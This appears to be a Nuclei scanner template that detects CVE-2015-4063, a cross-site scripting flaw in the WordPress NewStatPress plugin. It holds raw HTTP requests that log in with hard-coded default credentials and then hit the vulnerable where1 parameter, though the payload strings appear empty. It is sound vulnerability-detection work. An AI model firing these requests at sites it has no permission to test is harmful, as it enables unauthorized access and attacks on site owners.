id: CVE-2015-4063 info: name: NewStatPress <0.9.9 - Cross-Site Scripting author: r3Y3r53 severity: low description: | WordPress NewStatPress plugin before 0.9.9 contains a cross-site scripting vulnerability in includes/nsp_search.php. The plugin allows remote authenticated users to inject arbitrary web script or HTML via the where1 parameter in the nsp_search page to wp-admin/admin.php. remediation: Update to plugin version 0.9.9 or latest. reference: - https://packetstormsecurity.com/files/132038/ - https://wordpress.org/plugins/newstatpress/ - http://packetstormsecurity.com/files/132038/WordPress-NewStatPress-0.9.8-Cross-Site-Scripting-SQL-Injection.html - https://nvd.nist.gov/vuln/detail/CVE-2015-4063 - https://wordpress.org/plugins/newstatpress/changelog/ classification: cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:S/C:N/I:P/A:N cvss-score: 3.5 cve-id: CVE-2015-4063 cwe-id: CWE-79 epss-score: 0.04016 epss-percentile: 0.91043 cpe: cpe:2.3:a:newstatpress_project:newstatpress:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: newstatpress_project product: newstatpress framework: wordpress tags: cve,cve2015,xss,wordpress,wp-plugin,wp,newstatpress,packetstorm http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log=admin&pwd=admin123&wp-submit=Log+In - | GET /wp-admin/admin.php?where1=&searchsubmit=Buscar&page=nsp_search HTTP/1.1 Host: {{Hostname}} cookie-reuse: true matchers: - type: dsl dsl: - 'status_code_2 == 200' - "contains(body_2, '') && contains(body_2, 'newstatpress')" condition: and # digest: 4b0a00483046022100d4042df3cc5c8e0a548a50386d18a8b5ecbc65d1f1b2777e77fb412445a1b2ff022100ef47ecce78c46b5e3bce78f976edb694b78378a6964db08078841c96e0f40936:922c64590222798bb761d5b6d8e72950